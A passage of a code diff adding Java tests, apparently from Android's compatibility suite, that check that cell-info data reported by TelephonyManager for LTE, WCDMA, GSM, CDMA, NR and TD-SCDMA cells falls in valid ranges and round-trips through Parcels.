+                // If there is new CellInfo data, then the listener should fire
+                listener.wait(MAX_LISTENER_WAIT_MILLIS);
+                assertNotNull("Listener did not receive updated CellInfo Data",
+                        listener.cellInfo);
+                assertFalse("CellInfo data should be different from the old listener data."
+                        + referenceList + " : " + listener.cellInfo,
+                        referenceList.containsAll(listener.cellInfo));
+                return; // pass the test
+            }
+            // Reset the resultsCallback for the next iteration
+            resultsCallback.cellInfo = null;
+        }
+    }
+
+    @Test
+    public void testCellInfo() throws Throwable {
+        if(!(mPm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+
+        if (!isCamped()) fail("Device is not camped to a cell");
+
+        // Make a blocking call to requestCellInfoUpdate for results (for simplicity of test).
+        CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+        mTm.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
+        resultsCallback.wait(MAX_CELLINFO_WAIT_MILLIS);
+        List<CellInfo> allCellInfo = resultsCallback.cellInfo;
+
+        assertNotNull("TelephonyManager.getAllCellInfo() returned NULL!", allCellInfo);
+        assertTrue("TelephonyManager.getAllCellInfo() returned zero-length list!",
+            allCellInfo.size() > 0);
+
+        int numRegisteredCells = 0;
+        for (CellInfo cellInfo : allCellInfo) {
+            if (cellInfo.isRegistered()) {
+                ++numRegisteredCells;
+            }
+            verifyBaseCellInfo(cellInfo);
+            verifyBaseCellIdentity(cellInfo.getCellIdentity(), cellInfo.isRegistered());
+            if (cellInfo instanceof CellInfoLte) {
+                verifyLteInfo((CellInfoLte) cellInfo);
+            } else if (cellInfo instanceof CellInfoWcdma) {
+                verifyWcdmaInfo((CellInfoWcdma) cellInfo);
+            } else if (cellInfo instanceof CellInfoGsm) {
+                verifyGsmInfo((CellInfoGsm) cellInfo);
+            } else if (cellInfo instanceof CellInfoCdma) {
+                verifyCdmaInfo((CellInfoCdma) cellInfo);
+            } else if (cellInfo instanceof CellInfoTdscdma) {
+                verifyTdscdmaInfo((CellInfoTdscdma) cellInfo);
+            } else if (cellInfo instanceof CellInfoNr) {
+                verifyNrInfo((CellInfoNr) cellInfo);
+            } else {
+                fail("Unknown CellInfo Type reported.");
+            }
+        }
+
+        //FIXME: The maximum needs to be calculated based on the number of
+        //       radios and the technologies used (ex SRLTE); however, we have
+        //       not hit any of these cases yet.
+        assertTrue("None or too many registered cells : " + numRegisteredCells,
+                numRegisteredCells > 0 && numRegisteredCells <= 2);
+    }
+
+    private void verifyBaseCellInfo(CellInfo info) {
+        assertTrue("Invalid timestamp in CellInfo: " + info.getTimeStamp(),
+                info.getTimeStamp() > 0 && info.getTimeStamp() < Long.MAX_VALUE);
+
+        if (mRadioHalVersion >= RADIO_HAL_VERSION_1_2) {
+            // In HAL 1.2 or greater, the connection status must be reported
+            assertTrue(info.getCellConnectionStatus() != CellInfo.CONNECTION_UNKNOWN);
+        }
+    }
+
+    private void verifyBaseCellIdentity(CellIdentity id, boolean isRegistered) {
+        if (mRadioHalVersion >= RADIO_HAL_VERSION_1_2) {
+            if (isRegistered) {
+                String alphaLong = (String) id.getOperatorAlphaLong();
+                assertNotNull("getOperatorAlphaLong() returns NULL!", alphaLong);
+
+                String alphaShort = (String) id.getOperatorAlphaShort();
+                assertNotNull("getOperatorAlphaShort() returns NULL!", alphaShort);
+            }
+        }
+    }
+
+    private void verifyCdmaInfo(CellInfoCdma cdma) {
+        verifyCellConnectionStatus(cdma.getCellConnectionStatus());
+        verifyCellInfoCdmaParcelandHashcode(cdma);
+        verifyCellIdentityCdma(cdma.getCellIdentity(), cdma.isRegistered());
+        verifyCellIdentityCdmaParcel(cdma.getCellIdentity());
+        verifyCellSignalStrengthCdma(cdma.getCellSignalStrength());
+        verifyCellSignalStrengthCdmaParcel(cdma.getCellSignalStrength());
+    }
+
+    private void verifyCellInfoCdmaParcelandHashcode(CellInfoCdma cdma) {
+        Parcel p = Parcel.obtain();
+        cdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellInfoCdma newCi = CellInfoCdma.CREATOR.createFromParcel(p);
+        assertTrue(cdma.equals(newCi));
+        assertEquals("hashCode() did not get right hashCode", cdma.hashCode(), newCi.hashCode());
+    }
+
+    private void verifyCellIdentityCdma(CellIdentityCdma cdma, boolean isRegistered) {
+        int networkId = cdma.getNetworkId();
+        assertTrue("getNetworkId() out of range [0,65535], networkId=" + networkId,
+                networkId == Integer.MAX_VALUE || (networkId >= 0 && networkId <= NETWORK_ID));
+
+        int systemId = cdma.getSystemId();
+        assertTrue("getSystemId() out of range [0,32767], systemId=" + systemId,
+                systemId == Integer.MAX_VALUE || (systemId >= 0 && systemId <= SYSTEM_ID));
+
+        int basestationId = cdma.getBasestationId();
+        assertTrue("getBasestationId() out of range [0,65535], basestationId=" + basestationId,
+                basestationId == Integer.MAX_VALUE
+                        || (basestationId >= 0 && basestationId <= BASESTATION_ID));
+
+        int longitude = cdma.getLongitude();
+        assertTrue("getLongitude() out of range [-2592000,2592000], longitude=" + longitude,
+                longitude == Integer.MAX_VALUE
+                        || (longitude >= -LONGITUDE && longitude <= LONGITUDE));
+
+        int latitude = cdma.getLatitude();
+        assertTrue("getLatitude() out of range [-1296000,1296000], latitude=" + latitude,
+                latitude == Integer.MAX_VALUE || (latitude >= -LATITUDE && latitude <= LATITUDE));
+
+        if (isRegistered) {
+            assertTrue("SID is required for registered cells", systemId != Integer.MAX_VALUE);
+            assertTrue("NID is required for registered cells", networkId != Integer.MAX_VALUE);
+            assertTrue("BSID is required for registered cells", basestationId != Integer.MAX_VALUE);
+        }
+    }
+
+    private void verifyCellIdentityCdmaParcel(CellIdentityCdma cdma) {
+        Parcel p = Parcel.obtain();
+        cdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellIdentityCdma newCi = CellIdentityCdma.CREATOR.createFromParcel(p);
+        assertTrue(cdma.equals(newCi));
+    }
+
+    private void verifyCellSignalStrengthCdma(CellSignalStrengthCdma cdma) {
+        int level = cdma.getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level,
+                level >= 0 && level <= 4);
+
+        int asuLevel = cdma.getAsuLevel();
+        assertTrue("getAsuLevel() out of range [0,97] (or 99 is unknown), asuLevel=" + asuLevel,
+                asuLevel == 99 || (asuLevel >= 0 && asuLevel <= 97));
+
+        int cdmaLevel = cdma.getCdmaLevel();
+        assertTrue("getCdmaLevel() out of range [0,4], cdmaLevel=" + cdmaLevel,
+                cdmaLevel >= 0 && cdmaLevel <= 4);
+
+        int evdoLevel = cdma.getEvdoLevel();
+        assertTrue("getEvdoLevel() out of range [0,4], evdoLevel=" + evdoLevel,
+                evdoLevel >= 0 && evdoLevel <= 4);
+
+        // The following four fields do not have specific limits. So just calling to verify that
+        // they don't crash the phone.
+        int cdmaDbm = cdma.getCdmaDbm();
+        int evdoDbm = cdma.getEvdoDbm();
+        cdma.getCdmaEcio();
+        cdma.getEvdoEcio();
+
+        int dbm = (cdmaDbm < evdoDbm) ? cdmaDbm : evdoDbm;
+        assertEquals("getDbm() did not get correct value", dbm, cdma.getDbm());
+
+        int evdoSnr = cdma.getEvdoSnr();
+        assertTrue("getEvdoSnr() out of range [0,8], evdoSnr=" + evdoSnr,
+                (evdoSnr == Integer.MAX_VALUE) || (evdoSnr >= 0 && evdoSnr <= 8));
+    }
+
+    private void verifyCellSignalStrengthCdmaParcel(CellSignalStrengthCdma cdma) {
+        Parcel p = Parcel.obtain();
+        cdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellSignalStrengthCdma newCss = CellSignalStrengthCdma.CREATOR.createFromParcel(p);
+        assertEquals(cdma, newCss);
+    }
+
+    private static void verifyPlmnInfo(String mccStr, String mncStr, int mcc, int mnc) {
+        // If either int value is invalid, all values must be invalid
+        if (mcc == Integer.MAX_VALUE) {
+            assertTrue("MNC and MNC must always be reported together.",
+                    mnc == Integer.MAX_VALUE && mccStr == null && mncStr == null);
+            return;
+        }
+
+        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc, (mcc >= 0 && mcc <= 999));
+        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc, (mnc >= 0 && mnc <= 999));
+        assertTrue("MCC and MNC Strings must always be reported together.",
+                (mccStr == null) == (mncStr == null));
+
+        // For legacy compatibility, it's possible to have int values without valid string values
+        // but not the other way around.
+        // mccStr is set as NULL if empty, unknown or invalid.
+        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
+                mccStr == null || mccStr.matches("^[0-9]{3}$"));
+        // mccStr must either be null or match mcc integer.
+        assertTrue("MccString must match Mcc Integer, str=" + mccStr + " int=" + mcc,
+                mccStr == null || mcc == Integer.parseInt(mccStr));
+
+        // mncStr is set as NULL if empty, unknown or invalid.
+        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
+                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
+        // mncStr must either be null or match mnc integer.
+        assertTrue("MncString must match Mnc Integer, str=" + mncStr + " int=" + mnc,
+                mncStr == null || mnc == Integer.parseInt(mncStr));
+    }
+
+    // Verify lte cell information is within correct range.
+    private void verifyLteInfo(CellInfoLte lte) {
+        verifyCellConnectionStatus(lte.getCellConnectionStatus());
+        verifyCellInfoLteParcelandHashcode(lte);
+        verifyCellIdentityLte(lte.getCellIdentity(), lte.isRegistered());
+        verifyCellIdentityLteParcel(lte.getCellIdentity());
+        verifyCellSignalStrengthLte(lte.getCellSignalStrength());
+        verifyCellSignalStrengthLteParcel(lte.getCellSignalStrength());
+    }
+
+    // Verify NR 5G cell information is within correct range.
+    private void verifyNrInfo(CellInfoNr nr) {
+        verifyCellConnectionStatus(nr.getCellConnectionStatus());
+        verifyCellIdentityNr((CellIdentityNr) nr.getCellIdentity(), nr.isRegistered());
+        verifyCellIdentityNrParcel((CellIdentityNr) nr.getCellIdentity());
+        verifyCellSignalStrengthNr((CellSignalStrengthNr) nr.getCellSignalStrength());
+        verifyCellSignalStrengthNrParcel((CellSignalStrengthNr) nr.getCellSignalStrength());
+    }
+
+    private void verifyCellSignalStrengthNrParcel(CellSignalStrengthNr nr) {
+        Parcel p = Parcel.obtain();
+        nr.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellSignalStrengthNr newCss = CellSignalStrengthNr.CREATOR.createFromParcel(p);
+        assertEquals(nr, newCss);
+    }
+
+    private void verifyCellIdentityNrParcel(CellIdentityNr nr) {
+        Parcel p = Parcel.obtain();
+        nr.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellIdentityNr newCi = CellIdentityNr.CREATOR.createFromParcel(p);
+        assertEquals(nr, newCi);
+    }
+
+    private void verifyCellIdentityNr(CellIdentityNr nr, boolean isRegistered) {
+        int pci = nr.getPci();
+        assertTrue("getPci() out of range [0, 1007], pci = " + pci, 0 <= pci && pci <= 1007);
+
+        int tac = nr.getTac();
+        assertTrue("getTac() out of range [0, 65536], tac = " + tac, 0 <= tac && tac <= 65536);
+
+        int nrArfcn = nr.getNrarfcn();
+        assertTrue("getNrarfcn() out of range [0, 3279165], nrarfcn = " + nrArfcn,
+                0 <= nrArfcn && nrArfcn <= 3279165);
+
+        String mccStr = nr.getMccString();
+        String mncStr = nr.getMncString();
+        // mccStr is set as NULL if empty, unknown or invalid.
+        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
+                mccStr == null || mccStr.matches("^[0-9]{3}$"));
+
+        // mncStr is set as NULL if empty, unknown or invalid.
+        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
+                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
+
+        // If the cell is reported as registered, then all the logical cell info must be reported
+        if (isRegistered) {
+            assertTrue("TAC is required for registered cells", tac != Integer.MAX_VALUE);
+            assertTrue("MCC is required for registered cells", nr.getMccString() != null);
+            assertTrue("MNC is required for registered cells", nr.getMncString() != null);
+        }
+    }
+
+    private void verifyCellSignalStrengthNr(CellSignalStrengthNr nr) {
+        int csiRsrp = nr.getCsiRsrp();
+        int csiRsrq = nr.getCsiRsrq();
+        int csiSinr = nr.getSsSinr();
+        int ssRsrp = nr.getSsRsrp();
+        int ssRsrq = nr.getSsRsrq();
+        int ssSinr = nr.getSsSinr();
+
+        assertTrue("getCsiRsrp() out of range [-140, -44] | Integer.MAX_INTEGER, csiRsrp = "
+                        + csiRsrp, -140 <= csiRsrp && csiRsrp <= -44
+                || csiRsrp == Integer.MAX_VALUE);
+        assertTrue("getCsiRsrq() out of range [-20, -3] | Integer.MAX_INTEGER, csiRsrq = "
+                + csiRsrq, -20 <= csiRsrq && csiRsrq <= -3 || csiRsrq == Integer.MAX_VALUE);
+        assertTrue("getCsiSinr() out of range [-23, 40] | Integer.MAX_INTEGER, csiSinr = "
+                + csiSinr, -23 <= csiSinr && csiSinr <= 40 || csiSinr == Integer.MAX_VALUE);
+        assertTrue("getSsRsrp() out of range [-140, -44] | Integer.MAX_INTEGER, ssRsrp = "
+                        + ssRsrp, -140 <= ssRsrp && ssRsrp <= -44 || ssRsrp == Integer.MAX_VALUE);
+        assertTrue("getSsRsrq() out of range [-20, -3] | Integer.MAX_INTEGER, ssRsrq = "
+                + ssRsrq, -20 <= ssRsrq && ssRsrq <= -3 || ssRsrq == Integer.MAX_VALUE);
+        assertTrue("getSsSinr() out of range [-23, 40] | Integer.MAX_INTEGER, ssSinr = "
+                + ssSinr, -23 <= ssSinr && ssSinr <= 40 || ssSinr == Integer.MAX_VALUE);
+    }
+
+    private void verifyCellInfoLteParcelandHashcode(CellInfoLte lte) {
+        Parcel p = Parcel.obtain();
+        lte.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellInfoLte newCi = CellInfoLte.CREATOR.createFromParcel(p);
+        assertTrue(lte.equals(newCi));
+        assertEquals("hashCode() did not get right hashCode", lte.hashCode(), newCi.hashCode());
+    }
+
+    private void verifyCellIdentityLte(CellIdentityLte lte, boolean isRegistered) {
+        verifyPlmnInfo(lte.getMccString(), lte.getMncString(), lte.getMcc(), lte.getMnc());
+
+        // Cell identity ranges from 0 to 268435456.
+        int ci = lte.getCi();
+        assertTrue("getCi() out of range [0,268435456], ci=" + ci,
+                (ci == Integer.MAX_VALUE) || (ci >= 0 && ci <= CI));
+
+        // Verify LTE physical cell id information.
+        // Only physical cell id is available for LTE neighbor.
+        int pci = lte.getPci();
+        // Physical cell id should be within [0, 503].
+        assertTrue("getPci() out of range [0, 503], pci=" + pci,
+                (pci== Integer.MAX_VALUE) || (pci >= 0 && pci <= PCI));
+
+        // Tracking area code ranges from 0 to 65535.
+        int tac = lte.getTac();
+        assertTrue("getTac() out of range [0,65535], tac=" + tac,
+                (tac == Integer.MAX_VALUE) || (tac >= 0 && tac <= TAC));
+
+        int bw = lte.getBandwidth();
+        assertTrue("getBandwidth out of range [1400, 20000] | Integer.Max_Value, bw=",
+                bw == Integer.MAX_VALUE || bw >= BANDWIDTH_LOW && bw <= BANDWIDTH_HIGH);
+
+        int earfcn = lte.getEarfcn();
+        // Reference 3GPP 36.101 Table 5.7.3-1
+        // As per NOTE 1 in the table, although 0-6 are valid channel numbers for
+        // LTE, the reported EARFCN is the center frequency, rendering these channels
+        // out of the range of the narrowest 1.4Mhz deployment.
+        int minEarfcn = 7;
+        int maxEarfcn = EARFCN_MAX - 7;
+        if (bw != Integer.MAX_VALUE) {
+            // The number of channels used by a cell is equal to the cell bandwidth divided
+            // by the channel raster (bandwidth of a channel). The center channel is the channel
+            // the n/2-th channel where n is the number of channels, and since it is the center
+            // channel that is reported as the channel number for a cell, we can exclude any channel
+            // numbers within a band that would place the bottom of a cell's bandwidth below the
+            // edge of the band. For channel numbers in Band 1, the EARFCN numbering starts from
+            // channel 0, which means that we can exclude from the valid range channels starting
+            // from 0 and numbered less than half the total number of channels occupied by a cell.
+            minEarfcn = bw / CHANNEL_RASTER_EUTRAN / 2;
+            maxEarfcn = EARFCN_MAX - (bw / CHANNEL_RASTER_EUTRAN / 2);
+        }
+        assertTrue(
+                "getEarfcn() out of range [" + minEarfcn + "," + maxEarfcn + "], earfcn=" + earfcn,
+                earfcn == Integer.MAX_VALUE || (earfcn >= minEarfcn && earfcn <= maxEarfcn));
+
+        String mobileNetworkOperator = lte.getMobileNetworkOperator();
+        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
+                        + mobileNetworkOperator,
+                mobileNetworkOperator == null
+                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+
+        // If the cell is reported as registered, then all the logical cell info must be reported
+        if (isRegistered) {
+            assertTrue("TAC is required for registered cells", tac != Integer.MAX_VALUE);
+            assertTrue("CID is required for registered cells", ci != Integer.MAX_VALUE);
+            assertTrue("MCC is required for registered cells",
+                    lte.getMccString() != null || lte.getMcc() != Integer.MAX_VALUE);
+            assertTrue("MNC is required for registered cells",
+                    lte.getMncString() != null || lte.getMnc() != Integer.MAX_VALUE);
+        }
+    }
+
+    private void verifyCellIdentityLteParcel(CellIdentityLte lte) {
+        Parcel p = Parcel.obtain();
+        lte.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellIdentityLte newci = CellIdentityLte.CREATOR.createFromParcel(p);
+        assertEquals(lte, newci);
+    }
+
+    private void verifyCellSignalStrengthLte(CellSignalStrengthLte cellSignalStrengthLte) {
+        verifyRssiDbm(cellSignalStrengthLte.getDbm());
+
+        //Integer.MAX_VALUE indicates an unavailable field
+        int rsrp = cellSignalStrengthLte.getRsrp();
+        // RSRP is being treated as RSSI in LTE (they are similar but not quite right)
+        // so reusing the constants here.
+        assertTrue("getRsrp() out of range, rsrp=" + rsrp, rsrp >= MIN_RSRP && rsrp <= MAX_RSRP);
+
+        int rsrq = cellSignalStrengthLte.getRsrq();
+        assertTrue("getRsrq() out of range | Integer.MAX_VALUE, rsrq=" + rsrq,
+            rsrq == Integer.MAX_VALUE || (rsrq >= MIN_RSRQ && rsrq <= MAX_RSRQ));
+
+        int rssi = cellSignalStrengthLte.getRssi();
+        assertTrue("getRssi() out of range [-113, -51] or Integer.MAX_VALUE if unknown, rssi="
+                + rssi, rssi == CellInfo.UNAVAILABLE
+                || (rssi >= MIN_LTE_RSSI && rssi <= MAX_LTE_RSSI));
+
+        int rssnr = cellSignalStrengthLte.getRssnr();
+        assertTrue("getRssnr() out of range | Integer.MAX_VALUE, rssnr=" + rssnr,
+            rssnr == Integer.MAX_VALUE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
+
+        int cqi = cellSignalStrengthLte.getCqi();
+        assertTrue("getCqi() out of range | Integer.MAX_VALUE, cqi=" + cqi,
+            cqi == Integer.MAX_VALUE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
+
+        int ta = cellSignalStrengthLte.getTimingAdvance();
+        assertTrue("getTimingAdvance() invalid [0-1282] | Integer.MAX_VALUE, ta=" + ta,
+                ta == Integer.MAX_VALUE || (ta >= 0 && ta <=1282));
+
+        int level = cellSignalStrengthLte.getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
+
+        int asuLevel = cellSignalStrengthLte.getAsuLevel();
+        assertTrue("getAsuLevel() out of range [0,97] (or 99 is unknown), asuLevel=" + asuLevel,
+                (asuLevel == 99) || (asuLevel >= 0 && asuLevel <= 97));
+
+        int timingAdvance = cellSignalStrengthLte.getTimingAdvance();
+        assertTrue("getTimingAdvance() out of range [0,1282], timingAdvance=" + timingAdvance,
+                timingAdvance == Integer.MAX_VALUE || (timingAdvance >= 0 && timingAdvance <= 1282));
+
+        if (mRadioHalVersion >= RADIO_HAL_VERSION_1_2) {
+            assertTrue("RSRP Must be valid for LTE",
+                    cellSignalStrengthLte.getRsrp() != CellInfo.UNAVAILABLE);
+        }
+    }
+
+    private void verifyCellSignalStrengthLteParcel(CellSignalStrengthLte cellSignalStrengthLte) {
+        Parcel p = Parcel.obtain();
+        cellSignalStrengthLte.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellSignalStrengthLte newCss = CellSignalStrengthLte.CREATOR.createFromParcel(p);
+        assertEquals(cellSignalStrengthLte, newCss);
+    }
+
+    // Verify wcdma cell information is within correct range.
+    private void verifyWcdmaInfo(CellInfoWcdma wcdma) {
+        verifyCellConnectionStatus(wcdma.getCellConnectionStatus());
+        verifyCellInfoWcdmaParcelandHashcode(wcdma);
+        verifyCellIdentityWcdma(wcdma.getCellIdentity(), wcdma.isRegistered());
+        verifyCellIdentityWcdmaParcel(wcdma.getCellIdentity());
+        verifyCellSignalStrengthWcdma(wcdma.getCellSignalStrength());
+        verifyCellSignalStrengthWcdmaParcel(wcdma.getCellSignalStrength());
+    }
+
+    private void verifyCellInfoWcdmaParcelandHashcode(CellInfoWcdma wcdma) {
+        Parcel p = Parcel.obtain();
+        wcdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellInfoWcdma newCi = CellInfoWcdma.CREATOR.createFromParcel(p);
+        assertTrue(wcdma.equals(newCi));
+        assertEquals("hashCode() did not get right hashCode", wcdma.hashCode(), newCi.hashCode());
+    }
+
+    private void verifyCellIdentityWcdma(CellIdentityWcdma wcdma, boolean isRegistered) {
+        verifyPlmnInfo(wcdma.getMccString(), wcdma.getMncString(), wcdma.getMcc(), wcdma.getMnc());
+
+        int lac = wcdma.getLac();
+        assertTrue("getLac() out of range [0, 65535], lac=" + lac,
+                (lac >= 0 && lac <= LAC) || lac == Integer.MAX_VALUE);
+
+        int cid = wcdma.getCid();
+        assertTrue("getCid() out of range [0, 268435455], cid=" + cid,
+                (cid >= 0 && cid <= CID_UMTS) || cid == Integer.MAX_VALUE);
+
+        // Verify wcdma primary scrambling code information.
+        // Primary scrambling code should be within [0, 511].
+        int psc = wcdma.getPsc();
+        assertTrue("getPsc() out of range [0, 511], psc=" + psc,
+                (psc >= 0 && psc <= PSC) || psc == Integer.MAX_VALUE);
+
+        String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
+        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
+                        + mobileNetworkOperator,
+                mobileNetworkOperator == null
+                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+
+        int uarfcn = wcdma.getUarfcn();
+        // Reference 3GPP 25.101 Table 5.2
+        // From Appendix E.1, even though UARFCN is numbered from 400, the minumum
+        // usable channel is 412 due to the fixed bandwidth of 5Mhz
+        assertTrue("getUarfcn() out of range [412,11000], uarfcn=" + uarfcn,
+                uarfcn >= 412 && uarfcn <= 11000);
+
+        // If the cell is reported as registered, then all the logical cell info must be reported
+        if (isRegistered) {
+            assertTrue("LAC is required for registered cells", lac != Integer.MAX_VALUE);
+            assertTrue("CID is required for registered cells", cid != Integer.MAX_VALUE);
+            assertTrue("MCC is required for registered cells",
+                    wcdma.getMccString() != null || wcdma.getMcc() != Integer.MAX_VALUE);
+            assertTrue("MNC is required for registered cells",
+                    wcdma.getMncString() != null || wcdma.getMnc() != Integer.MAX_VALUE);
+        }
+    }
+
+    private void verifyCellIdentityWcdmaParcel(CellIdentityWcdma wcdma) {
+        Parcel p = Parcel.obtain();
+        wcdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellIdentityWcdma newci = CellIdentityWcdma.CREATOR.createFromParcel(p);
+        assertEquals(wcdma, newci);
+    }
+
+    private void verifyCellSignalStrengthWcdma(CellSignalStrengthWcdma wcdma) {
+        verifyRssiDbm(wcdma.getDbm());
+
+        // Dbm here does not have specific limits. So just calling to verify that it does not crash
+        // the phone
+        wcdma.getDbm();
+
+        int asuLevel = wcdma.getAsuLevel();
+        assertTrue("getLevel() out of range [0,31] (or 99 is unknown), level=" + asuLevel,
+                asuLevel == 99 || (asuLevel >= 0 && asuLevel <= 31));
+
+        int level = wcdma.getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
+
+        if (mRadioHalVersion >= RADIO_HAL_VERSION_1_2) {
+            assertTrue("RSCP Must be valid for WCDMA", wcdma.getRscp() != CellInfo.UNAVAILABLE);
+        }
+    }
+
+    private void verifyCellSignalStrengthWcdmaParcel(CellSignalStrengthWcdma wcdma) {
+        Parcel p = Parcel.obtain();
+        wcdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellSignalStrengthWcdma newCss = CellSignalStrengthWcdma.CREATOR.createFromParcel(p);
+        assertEquals(wcdma, newCss);
+    }
+
+    // Verify gsm cell information is within correct range.
+    private void verifyGsmInfo(CellInfoGsm gsm) {
+        verifyCellConnectionStatus(gsm.getCellConnectionStatus());
+        verifyCellInfoWcdmaParcelandHashcode(gsm);
+        verifyCellIdentityGsm(gsm.getCellIdentity(), gsm.isRegistered());
+        verifyCellIdentityGsmParcel(gsm.getCellIdentity());
+        verifyCellSignalStrengthGsm(gsm.getCellSignalStrength());
+        verifyCellSignalStrengthGsmParcel(gsm.getCellSignalStrength());
+    }
+
+    private void verifyCellInfoWcdmaParcelandHashcode(CellInfoGsm gsm) {
+        Parcel p = Parcel.obtain();
+        gsm.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellInfoGsm newCi = CellInfoGsm.CREATOR.createFromParcel(p);
+        assertTrue(gsm.equals(newCi));
+        assertEquals("hashCode() did not get right hashCode", gsm.hashCode(), newCi.hashCode());
+    }
+
+    private void verifyCellIdentityGsm(CellIdentityGsm gsm, boolean isRegistered) {
+        verifyPlmnInfo(gsm.getMccString(), gsm.getMncString(), gsm.getMcc(), gsm.getMnc());
+
+        // Local area code and cellid should be with [0, 65535].
+        int lac = gsm.getLac();
+        assertTrue("getLac() out of range [0, 65535], lac=" + lac,
+                lac == Integer.MAX_VALUE || (lac >= 0 && lac <= LAC));
+        int cid = gsm.getCid();
+        assertTrue("getCid() out range [0, 65535], cid=" + cid,
+                cid== Integer.MAX_VALUE || (cid >= 0 && cid <= CID_GSM));
+
+        int arfcn = gsm.getArfcn();
+        // Reference 3GPP 45.005 Table 2-2
+        assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
+                arfcn == Integer.MAX_VALUE || (arfcn >= 0 && arfcn <= ARFCN));
+
+        String mobileNetworkOperator = gsm.getMobileNetworkOperator();
+        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
+                        + mobileNetworkOperator,
+                mobileNetworkOperator == null
+                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+
+        int bsic = gsm.getBsic();
+        // TODO(b/32774471) - Bsic should always be valid
+        //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
+
+        // If the cell is reported as registered, then all the logical cell info must be reported
+        if (isRegistered) {
+            assertTrue("LAC is required for registered cells", lac != Integer.MAX_VALUE);
+            assertTrue("CID is required for registered cells", cid != Integer.MAX_VALUE);
+            assertTrue("MCC is required for registered cells",
+                    gsm.getMccString() != null || gsm.getMcc() != Integer.MAX_VALUE);
+            assertTrue("MNC is required for registered cells",
+                    gsm.getMncString() != null || gsm.getMnc() != Integer.MAX_VALUE);
+        }
+    }
+
+    private void verifyCellIdentityGsmParcel(CellIdentityGsm gsm) {
+        Parcel p = Parcel.obtain();
+        gsm.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellIdentityGsm newci = CellIdentityGsm.CREATOR.createFromParcel(p);
+        assertEquals(gsm, newci);
+    }
+
+    private void verifyCellSignalStrengthGsm(CellSignalStrengthGsm gsm) {
+        verifyRssiDbm(gsm.getDbm());
+
+        int level = gsm.getLevel();
+        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
+
+        int ta = gsm.getTimingAdvance();
+        assertTrue("getTimingAdvance() out of range [0,219] | Integer.MAX_VALUE, ta=" + ta,
+                ta == Integer.MAX_VALUE || (ta >= 0 && ta <= 219));
+
+        assertEquals(gsm.getDbm(), gsm.getRssi());
+
+        int asuLevel = gsm.getAsuLevel();
+        assertTrue("getLevel() out of range [0,31] (or 99 is unknown), level=" + asuLevel,
+                asuLevel == 99 || (asuLevel >=0 && asuLevel <= 31));
+
+        int ber = gsm.getBitErrorRate();
+        assertTrue("getBitErrorRate out of range [0,7], 99, or CellInfo.UNAVAILABLE, ber=" + ber,
+                ber == 99 || ber == CellInfo.UNAVAILABLE || (ber >= 0 && ber <= 7));
+
+        if (mRadioHalVersion >= RADIO_HAL_VERSION_1_2) {
+            assertTrue("RSSI Must be valid for GSM", gsm.getDbm() != CellInfo.UNAVAILABLE);
+        }
+    }
+
+    private void verifyCellSignalStrengthGsmParcel(CellSignalStrengthGsm gsm) {
+        Parcel p = Parcel.obtain();
+        gsm.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellSignalStrengthGsm newCss = CellSignalStrengthGsm.CREATOR.createFromParcel(p);
+        assertEquals(gsm, newCss);
+    }
+
+    // Verify tdscdma cell information is within correct range.
+    private void verifyTdscdmaInfo(CellInfoTdscdma tdscdma) {
+        verifyCellConnectionStatus(tdscdma.getCellConnectionStatus());
+        verifyCellInfoTdscdmaParcelandHashcode(tdscdma);
+        verifyCellIdentityTdscdma(tdscdma.getCellIdentity(), tdscdma.isRegistered());
+        verifyCellIdentityTdscdmaParcel(tdscdma.getCellIdentity());
+        verifyCellSignalStrengthTdscdma(tdscdma.getCellSignalStrength());
+        verifyCellSignalStrengthTdscdmaParcel(tdscdma.getCellSignalStrength());
+    }
+
+    private void verifyCellInfoTdscdmaParcelandHashcode(CellInfoTdscdma tdscdma) {
+        Parcel p = Parcel.obtain();
+        tdscdma.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        CellInfoTdscdma newCi = CellInfoTdscdma.CREATOR.createFromParcel(p);
+        assertTrue(tdscdma.equals(newCi));
+        assertEquals("hashCode() did not get right hashCode", tdscdma.hashCode(), newCi.hashCode());
+    }
+
